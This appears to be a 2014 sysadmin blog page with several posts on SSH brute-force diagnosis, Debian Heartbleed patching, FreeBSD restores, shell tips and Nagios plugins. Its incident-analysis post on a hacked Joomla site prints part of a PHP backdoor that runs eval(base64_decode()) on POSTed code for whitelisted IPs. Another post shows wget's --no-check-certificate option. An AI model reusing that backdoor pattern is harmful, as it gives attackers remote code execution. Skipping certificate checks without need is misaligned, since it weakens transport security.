Header RSS Feed
 
If you only want to see the articles of a certain category, please click on the desired category below:
ALL Android Backup BSD Database Hacks Hardware Internet Linux Mail MySQL Nagios/Monitoring Network Personal PHP Proxy Shell Solaris Unix Virtualization VMware Windows Wyse

Cannot connect to SSH: Connection closed by remote host
Monday - Apr 14th 2014 - 10.18 am (+0200) - by - (0 comments)

From my monitoring server I received several SSH alerts from another Linux server, running CentOS 6.3.
The alerts were meanwhile flapping between CRITICAL and OK:

[08:48:26] SERVICE ALERT: target-server;SSH;CRITICAL;HARD;3;Server answer:
[08:47:26] SERVICE ALERT: target-server;SSH;CRITICAL;SOFT;2;Server answer:
[08:46:26] SERVICE ALERT: target-server;SSH;CRITICAL;SOFT;1;Server answer:
[08:43:26] SERVICE ALERT: target-server;SSH;OK;HARD;3;SSH OK - OpenSSH_5.3 (protocol 2.0)
[08:37:26] SERVICE ALERT: target-server;SSH;CRITICAL;HARD;3;Server answer:
[08:36:26] SERVICE ALERT: target-server;SSH;CRITICAL;SOFT;2;Server answer:
[08:35:26] SERVICE ALERT: target-server;SSH;CRITICAL;SOFT;1;Server answer:
[08:26:26] SERVICE ALERT: target-server;SSH;OK;HARD;3;SSH OK - OpenSSH_5.3 (protocol 2.0)
[08:05:26] SERVICE ALERT: target-server;SSH;CRITICAL;HARD;3;Server answer:
[08:04:26] SERVICE ALERT: target-server;SSH;CRITICAL;SOFT;2;Server answer:
[08:03:26] SERVICE ALERT: target-server;SSH;CRITICAL;SOFT;1;Server answer:
[08:00:26] SERVICE ALERT: target-server;SSH;OK;SOFT;3;SSH OK - OpenSSH_5.3 (protocol 2.0)

This went on and on...

A manual ssh connection confirmed the alert:

ssh target-server
ssh_exchange_identification: Connection closed by remote host

I ran a tcpdump on the target server and whenever the connection was closed, the output was the following:

tcpdump -n "src host my.own.ip.address and dst port 22"
09:02:05.192513 IP my.own.ip.address.38586 > target-server.ssh: Flags [S], seq 2270934900, win 14600, options [mss 1380,sackOK,TS val 516633443 ecr 0,nop,wscale 7], length 0
09:02:05.193403 IP my.own.ip.address.38586 > target-server.ssh: Flags [.], ack 1633368629, win 115, options [nop,nop,TS val 516633443 ecr 1699421739], length 0
09:02:05.194575 IP my.own.ip.address.38586 > target-server.ssh: Flags [F.], seq 0, ack 2, win 115, options [nop,nop,TS val 516633443 ecr 1699421740], length 0

Interesting is the last entry with the flag F (FIN). So the server definitely sent the closing signal.

To debug SSH, I activated verbose logging in /etc/ssh/sshd_config and restarted /etc/init.d/sshd. I then tailed /var/log/secure and to my big surprise the following entries appeared:

Failed password for root from 144.0.0.34 port 39899 ssh2
Failed password for root from 144.0.0.34 port 39534 ssh2
Failed password for root from 144.0.0.34 port 39439 ssh2
Failed password for root from 144.0.0.34 port 39329 ssh2
Disconnecting: Too many authentication failures for root
[...]

netstat confirmed that there were at least 36 opened ssh connections. So whenever all available tcp slots for ssh were occupied, the server of course immediately closed the connection.
Within four hours, this IP tried 42929 times to log in as root. A typical brute force attack it seems.
After blocking the IP the monitoring (and therefore having all necessary ssh tcp slots available again), checks were OK again.

 

Tracing a Joomla website hack back to com_extplorer module
Friday - Apr 11th 2014 - 3.32 pm (+0200) - by - (0 comments)

Today I've seen a lot of spams being sent from a website on a shared hosting server. The responsible website and the script were quickly found and I analyzed the hack to find the entry point. From the beginning it was clear that a non-updated Joomla installation (2.5.8) was hacked.

First let's start with the script being used for sending spams. It was a hex encoded php file, which, once decoded (see http://ddecode.com/hexdecoder/?results=aabb392b621316cfe2ce97453849ad8b) showed very interesting php coding parts. For example a certain range of public ip addresses was defined in the script. If the script was accessed from an ip address outside the defined ranges, the script would simply output an error 404. Makes it of course harder to troubleshoot and analyze the hack...

if(isset($_POST["code"])&&isset($_POST["custom_action"])&&is_good_ip($_SERVER["REMOTE_ADDR"])){eval(base64_decode($_POST["code"]));exit();}if(isset($_POST["type"])&&$_POST["type"]=="1"){type1_send();exit();}elseif(isset($_POST["type"])&&$_POST["type"]=="2"){}elseif(isset($_POST["type"])){echo$_POST["type"];exit();}error_404()function is_good_ip($ip){${"GLOBALS"}["hhtosqhhwpl"]="goods";$dnktoeby="goods";${$dnktoeby}=Array("6.185.239.","8.138.118.","8.138.127.");foreach(${${"GLOBALS"}["hhtosqhhwpl"]} as${${"GLOBALS"}["jehyjwwd"]}){$tqmnfbn="ip";if(strstr(${$tqmnfbn},${${"GLOBALS"}["jehyjwwd"]})!=FALSE){return TRUE;}}return FALSE;}

This is just one of many interesting parts of the script. Once again, visit the link above to see the full script. 
So several ip ranges were defined as "good_ip" and if it didnt match, an error 404 would be returned. When I tried to access the website, of course I got the error 404:

my.own.ip.address - - [11/Apr/2014:10:32:09 +0200] "GET /components/com_users/frn13s.php HTTP/1.1" 404 1048 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"

But from one of the defined ranges the script could be accessed:

146.185.239.20 - - [11/Apr/2014:08:50:32 +0200] "POST /components/com_users/frn13s.php HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0"

Note that the defined ranges in the array don't look for an exact match. In this case the public ip "146.185.239.20" matches "6.185.239.".

The script itself had a fake time stamp on the file, possibly to confuse the admin (me):

-rw-r--r--  1 ftpuser  ftpuser  43848 Jun 26  2012 frn13s.php

By using the stat command, the real creation date can be found:

stat frn13s.php
2729548607 24116 -rw-r--r-- 1 ftpuser ftpuser 4294967295 43848 "Apr 11 10:32:09 2014" "Jun 26 10:07:58 2012" "Apr  9 04:04:05 2014" "Apr  9 04:04:05 2014" 44032 51 0 frn13s.php

So stat revealed that the file was created on April 9th at 04:04:05. A quick look at the access log reveals that another, previously uploaded file, was used:

188.208.33.18 - - [09/Apr/2014:04:04:04 +0200] "POST /tmp/.jindex.php HTTP/1.1" 200 84056 "http://www.google.com" "Mozilla/7.0 (Windows XP 6.1; rv:12.1) Gecko/2014 Firefox/11.1"

The file called ".jindex.php" in the tmp folder had the following content:

Uploaded file through joomla vulnerability

... and was uploaded on April 7th at 14:42:

-rw-r--r--  1 ftpuser  ftpuser    300 Apr  7 14:42 .jindex.php

Let's do the same game again and check the logs what happened at that time:

188.208.33.18 - - [07/Apr/2014:14:42:27 +0200] "GET /administrator///components//com_extplorer/ HTTP/1.1" 200 5758 "-" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"
188.208.33.18 - - [07/Apr/2014:14:42:28 +0200] "POST /administrator///components//com_extplorer/ HTTP/1.1" 200 43954 "http://www.example.com/administrator///components//com_extplorer/" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"
188.208.33.18 - - [07/Apr/2014:14:42:28 +0200] "POST /administrator///components//com_extplorer/ HTTP/1.1" 200 94 "http://www.example.com/administrator///components//com_extplorer/" "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20130101 Firefox/10.0"

It looks like the "com_extplorer" Joomla module was successfully hacked. Let's check the version of this module:

head administrator/components/com_extplorer/CHANGELOG.txt
****************************
Changelog for eXtplorer
Version $Id: CHANGELOG.txt 223 2012-07-02 13:46:08Z soeren $
****************************
--- version 2.1.0 ---

- fixed an XSS-vulnerability (impact: medium, users needs to be logged in)

--- version 2.1.0 RC5 released ---

Latest entry was from 2012...  By looking for a com_extplorer exploit, a lot of exploits were actually found. It looks like this particular hack matches more or less the vulnerability "eXtplorer v2.1 authentication bypass vulnerability", reported back in December 2012 (http://itsecuritysolutions.org/2012-12-31-eXtplorer-v2.1-authentication-bypass-vulnerability/). This page describes the exploit and shows a proof of concept where a simple POST on the com_extplorer module could by bypassed with an empty password (!). Wow. This is just... bad! And plain stupid, too. Vulnerabilities like these doesn't even require real hacker skills... 

The vulnerability seems to be fixed in the eXtplorer component in version 2.1.3.In the CHANGELOG file it is documented as:

 --- version 2.1.3 ---
- fixed serious login vulnerability reported by Brendan Coles of itsecuritysolutions.org (the only changed file is /include/users.php)

Once more another hack which could have been prevented by the website's webmaster by doing regular updates.

 

Debians patching solution for the openssl heartbleed bug
Thursday - Apr 10th 2014 - 1.08 pm (+0200) - by - (0 comments)

If you haven't heard of the "OpenSSL heartbleed bug" by now, you either ignore the world's news or you don't use a computer (how the hell are you reading this?).

I won't go into details what the OpenSSL heartbleed bug is (this is covered on way too many other sites) but I can tell you this has caused some serious issues. Although the bug was open for a very long time (since the release of 1.0.1 back in March 2012), once a patch was released, most Linux distributions reacted very fast and provided the OpenSSL patches a short time after.

I'm especially satisfied how Debian managed the importance and publishing of the patches.

On April 7th 2014, openssl released the following security advice:

TLS heartbeat read overrun (CVE-2014-0160)
==========================================

A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.
Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley and Bodo Moeller for preparing the fix.
Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.
1.0.2 will be fixed in 1.0.2-beta2.

On the same day Debian released the patch DSA 2896-1:

For the stable distribution (wheezy), this problem has been fixed in version 1.0.1e-2+deb7u5.
For the testing distribution (jessie), this problem has been fixed in version 1.0.1g-1.
For the unstable distribution (sid), this problem has been fixed in version 1.0.1g-1.

I immediately applied the patch on all my Debian wheezy systems and confirmed the closed vulnerability.
But then Debian surprised me. One day later, on April 8th 2014, a revision of the patch was released:

This revision to the recent OpenSSL update, DSA-2896-1, checks for some services that may use OpenSSL in a way that they expose the vulnerability.  Such services are proposed to be restarted during the upgrade to help in the actual deployment of the fix.

For the stable distribution (wheezy), this problem has been fixed in version 1.0.1e-2+deb7u6.

Fortunately I still had another unpatched Debian wheezy system to see the difference. As promised in the description, the patch shows services which need to be restarted. And this is how the dialog looks like:

Debian patch for the openssl heartbleed bug

After confirming the message, the listed services were restarted.
That's some nice additional information what Debian provides here - and its very helpful. So Debian Security Team: Thanks a lot for that!

Of course it's possible that not all services are listed or could be detected, in this case a manual "lsof" of all open processes would show the usage of libssl.
Example on Apache:

lsof -p $(cat /var/run/apache2.pid) | grep ssl
/usr/sbin 9625 root DEL REG 253,1 134301 /usr/lib/x86_64-linux-gnu/libssl.so.1.0.0

 

 

Restore a single file from ufs dump on FreeBSD
Monday - Apr 7th 2014 - 12.49 pm (+0200) - by - (0 comments)

Needed to restore a local file (/etc/ssh/sshd_config) from a ufs dump.
To be safe, I chose to not overwrite the current file with the one restored from the dump, so I created a temporary folder where to restore the file to:

mkdir /var/tmp/restore
cd /var/tmp/restore

Then launch the restore where the format is the following:

restore -x -v -f /path/to/dump filetorestore

restore: The restore command
-x: Extract the given file from the dumpfile
-v: Be verbose
-f: the path to the ufs dump (/path/to/dump)
filetorestore: Within the dump, look for this file to restore

In a practical usage this looks like:

restore -x -v -f /mnt/remotebkp/20140401_0313-level-0/_.dump-0 ./etc/ssh/sshd_config
Verify tape and initialize maps
Tape block size is 32
Dump   date: Tue Apr  1 03:13:22 2014
Dumped from: the epoch
Level 0 dump of / on mymachine.local:/dev/da0s1a
Label: none
Extract directories from tape
Initialize symbol table.
Make node ./etc
Make node ./etc/ssh
Extract requested files
You have not read any tapes yet.
If you are extracting just a few files, start with the last volume
and work towards the first; restore can quickly skip tapes that
have no further files to extract. Otherwise, begin with volume 1.
Specify next volume #: 1
extract file ./etc/ssh/sshd_config
Add links
Set directory mode, owner, and times.
set owner/mode for '.'? [yn] n

Important note: The file to be restore must start with a dot (see ./etc/ssh/sshd_config).
The reason for this is the file system structure within the dump, which can be verified in interactive mode:

restore -i -f /mnt/remotebkp/20140401_0313-level-0/_.dump-0
restore > cd etc
restore > ls
./etc:
[...]

 

How to remove a newline character of every second line in bash
Tuesday - Apr 1st 2014 - 5.07 pm (+0200) - by - (0 comments)

Was looking for a solution to combine two lines to one but failed finding a solution with "tr" and "sed".

The output of the file looked like this and I wanted to combine the "alias" and "server_id" lines on one line:

cat serverlist | egrep "(alias|server_id)"
    "alias": "mymachine29",
    "server_id": 15,
    "alias": "mymachine30",
    "server_id": 12,
    "alias": "mymachine31",
    "server_id": 13,
    "alias": "mymachine32",
    "server_id": 10,
    "alias": "mymachine33",
    "server_id": 13,
    "alias": "mymachine34",
    "server_id": 10,
    "alias": "mymachine35",
    "server_id": 10,

By chance I came across this post (http://serverfault.com/questions/375096/bash-sed-awk-etc-remove-every-other-newline), which solves a similar request with the command "paste", I honestly haven't heard of before.

Let's try paste then!

cat serverlist | egrep "(alias|server_id)" | paste - -
   "alias": "mymachine29",          "server_id": 15,
    "alias": "mymachine30",          "server_id": 12,
    "alias": "mymachine31",          "server_id": 13,
    "alias": "mymachine32",          "server_id": 10,
    "alias": "mymachine33",          "server_id": 13,
    "alias": "mymachine34",          "server_id": 10,
    "alias": "mymachine35",          "server_id": 10,
    "alias": "mymachine36",          "server_id": 13,
    "alias": "mymachine37",          "server_id": 10,
    "alias": "mymachine38",          "server_id": 12,

Perfect! And much less complicated than trying to write a complex sed replacement...

 

Reminder: Do not start with an integer for a variable name in shell
Monday - Mar 31st 2014 - 10.53 am (+0200) - by - (0 comments)

Just had a weird situation, where I wrote a quick and dirty shell script to output the current amount of deferred mails due to smtp error 421 and send an alert. 

I tried to count the different responses, each smtp response holding an integer as value:

421ips=$(mailq | grep -i -c "refused to talk to me: 421 4.7.1 Intrusion prevention active")
-bash: 421ips=11: command not found

421notaccepting=$(mailq | grep -i -c "421 4.3.2 System not accepting network messages")
-bash: 421notaccepting=11: command not found

421rate=$(mailq | grep -i -c "Our system has detected an unusual rate of 421-4.7.0 unsolicited mail")
-bash: 421rate=6: command not found

I was wondering what the hell just happened until I tried a plain simple variable name:

BLA="$(mailq | grep -i -c "refused to talk to me: 421 4.7.1 Intrusion prevention active")"

Here no error occurred. And that's the moment it hit me: Of course!
Do not start the variable's name with an integer (in this case 421). D'oh!

Distractions, distractions... My mind has been wandering all day.

Actually if I would have used vim with the syntax on command, I would have seen that something's off:

Variable name starting with integer

See the $4 turning blue while the rest doesn't? That would have given me a clue.
But as I just created the file, vim didn't know (yet) that it'll be a shell script and therefore couldn't show the syntax highlighting. Only after a close (and save) and reopen with vim the syntax highlights are shown.

 

When github and wget on Debian Wheezy bite each other..
Tuesday - Mar 25th 2014 - 8.50 am (+0100) - by - (2 comments)

On a Debian Wheezy (7.4) system I tried to directly download one of my Nagios plugins (check_smart) with wget but got the following error:

wget -V | grep "GNU Wget"
GNU Wget 1.13.4 built on linux-gnu.

wget https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl

--2014-03-25 08:30:35--  https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.31.17.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.31.17.133|:443... connected.
GnuTLS: A TLS warning alert has been received.
Unable to establish SSL connection.

I remember this was working fine a couple of weeks ago. For a better comparison I launched the same command on a Debian Squeeze (6.0.9):

wget -V | grep "GNU Wget"
GNU Wget 1.12 built on linux-gnu.

wget https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl

--2014-03-25 08:37:01--  https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl
Resolving raw.githubusercontent.com... 185.31.17.133
Connecting to raw.githubusercontent.com|185.31.17.133|:443... connected.
ERROR: certificate common name "www.github.com" doesn't match requested host name "raw.githubusercontent.com".
To connect to raw.githubusercontent.com insecurely, use '--no-check-certificate'.

The download also failed with the older wget on Debian Squeeze but this time the error message was more helpful: The certificate doesn't match the hostname/URL.
Github does indeed use the SSL certificate for the CN "www.github.com" for the URL "raw.githubusercontent.com". 
That's a clear misconfiguration on the github server side. Hello github admins, please check and fix that...

Update March 31st 2014: Github uses *.githuberusercontent.com as SubjectAltName in the certificate. So the cert is alright. See comment at the end of this page

As suggested in the wget 1.12 output, the parameter "--no-check-certificate" can be used to ignore the SSL error and proceed with the download:

wget --no-check-certificate https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl
--2014-03-25 08:42:28--  https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl
Resolving raw.githubusercontent.com... 185.31.16.133
Connecting to raw.githubusercontent.com|185.31.16.133|:443... connected.
WARNING: certificate common name "www.github.com" doesn't match requested host name "raw.githubusercontent.com".
HTTP request sent, awaiting response... 200 OK
Length: 15236 (15K) [text/plain]
Saving to: "check_smart.pl"

100%[========================================>] 15,236      --.-K/s   in 0.03s  

2014-03-25 08:42:28 (532 KB/s) - "check_smart.pl" saved [15236/15236]

But trying this with the newer wget 1.13.4 on Debian Wheezy still fails:

wget --no-check-certificate https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl
--2014-03-25 08:43:29--  https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.31.17.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.31.17.133|:443... connected.
GnuTLS: A TLS warning alert has been received.
Unable to establish SSL connection.

This is due to the open Debian bug #738625 which hopefully will be fixed soon.

As a workaround, curl can be used:

curl -o check_smart.pl https://raw.githubusercontent.com/Napsty/check_smart/master/check_smart.pl
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 15236  100 15236    0     0  69277      0 --:--:-- --:--:-- --:--:--  100k

 

SmartOS: Modify network/nic settings of a smartmachine with vmadm
Sunday - Mar 23rd 2014 - 10.56 am (+0100) - by - (0 comments)

A few days ago I needed to change the IP address of a SmartOS smartmachine. As a smartmachine is a virtualization method (Solaris zones), the physical host (= compute node) should be aware of the changes and therefore be used to change the NIC settings of the smartmachine.

I expected some simple config file (like LXC) or command to change the IP. Turns out, it's a little bit more complicated.

First of all, let's get the current NIC configuration of the smartmachine you want to change (let's call it smartmachine412).
To be able to list the settings, we must use the UUID of the smartmachine, not it's alias name. With vmadm list you can see the UUID:

vmadm list -v

UUID                                  TYPE  RAM    STATE    ALIAS
5746bdfe-481f-4b11-b77c-f34ef10f1c61  OS    8192   running  smartmachine412
58306c2e-6cb3-4294-8a03-694af544461f  OS    8192   running  smartmachine410
03404289-c602-4550-a450-7f887e04be16  OS    16384  running  smartmachine402
da17d097-6a45-4a84-ba48-5306e784da7e  OS    65536  running  smartmachine995

So our smartmachine has the UUID 5746bdfe-481f-4b11-b77c-f34ef10f1c61. Let's list the current NIC settings:

vmadm get 5746bdfe-481f-4b11-b77c-f34ef10f1c61 | json nics
[
  {
    "interface": "net0",
    "mac": "72:1d:2c:f3:ca:b2",

    "vlan_id": 251,
    "nic_tag": "backend",
    "primary": true,
    "ip": "10.11.25.195",

    "netmask": "255.255.255.0"
  },
  {
    "interface": "net1",
    "mac": "72:1d:2c:f3:ca:b5",

    "vlan_id": 250,
    "nic_tag": "frontend",
    "ip": "10.10.25.195",
    "netmask": "255.255.255.0"
  }
]

The output is in json format and shows the current IP addresses, VLAN tags, interface naming, etc.

To change the settings, it is mandatory to create a new json file which contains the changes to apply.

So I want to add a default gateway to the "net1" interface with the virtual MAC address 72:1d:2c:f3:ca:b5. To make this gateway the default gateway, I also have to set this NIC as primary interface.
The following json file documents the two changes I want to apply:

cat update-nics.json
{
    "update_nics": [
        {
            "mac": "72:1d:2c:f3:ca:b5",

            "gateway": "10.0.250.1",
            "primary": true
        }
    ]
}

The content of this json file now needs to be sent as vmadm update command to the destination smartmachine:

cat update-nics.json | vmadm update 5746bdfe-481f-4b11-b77c-f34ef10f1c61

Let's check out the new settings:

vmadm get 5746bdfe-481f-4b11-b77c-f34ef10f1c61 | json nics
[
  {
    "interface": "net0",
    "mac": "72:1d:2c:f3:ca:b2",

    "vlan_id": 251,
    "nic_tag": "backend",
    "ip": "10.11.25.195",

    "netmask": "255.255.255.0"
  },
  {
    "interface": "net1",
    "mac": "72:1d:2c:f3:ca:b5",

    "vlan_id": 250,
    "nic_tag": "frontend",
    "gateway": "10.0.250.1",
    "primary": true,
    "ip": "10.10.25.195",
    "netmask": "255.255.255.0"
  }
]

Note that the net1 interface now contains the "gateway" definition and it was set as the "primary" interface.

To make these changes live, the smartmachine needs to be rebooted afterwards.

 

check_smart Nagios plugin version 4.2 released
Thursday - Mar 20th 2014 - 6.20 pm (+0100) - by - (0 comments)
A couple of days ago it occurred to me that check_smart didn't correctly create graphs for the defect list performance data. I would have wanted to have a graph which shows the increasing number of defect blocks/sectors over time. 

The newest version 4.2 allows the correct graphing and also correctly displays the critical threshold in the graph if the -b parameter was used.

You can find the plugin here: Nagios Plugins / check_smart plugin to monitor HDD SMART values

The following graph shows the increasing number of defect entries over a short period of time. Such graphing might help indicate a failing disk:

Increasing number of defect sectors

 

Another two Dell elements ignored in check_esxi_hardware
Wednesday - Mar 19th 2014 - 10.26 am (+0100) - by - (0 comments)

Since DELL released their Rx20 and Tx20 systems, I am getting more and more emails from users which get a WARNING from check_esxi_hardware on certain elements.

I contacted DELL several times to get a fix or at least response for the CIM return code issue - so far nobody seems to be responsible. Until this is sorted out, the ignore list is appended...

There are two new elements added in the default ignore list:

  • System Board 1 VGA Cable Pres 0: Connected
  • Add-in Card 4 PEM Presence 0: Connected

The now released version 20140319 of check_esxi_hardware.py ignores these elements by default. It is not necessary to manually add the elements trough the -i parameter.

Thanks to Thomas Erne, Jon Gerdes, Scott Sawin, Alec Heron-Smith and Adrian Calinescu for reporting and testing. 

 


Go to Homepage home
Linux Howtos how to's
Nagios Plugins nagios plugins
Links links

Valid HTML 4.01 Transitional
Valid CSS!
[Valid RSS]

8678 Days
until Death of Computers
Why?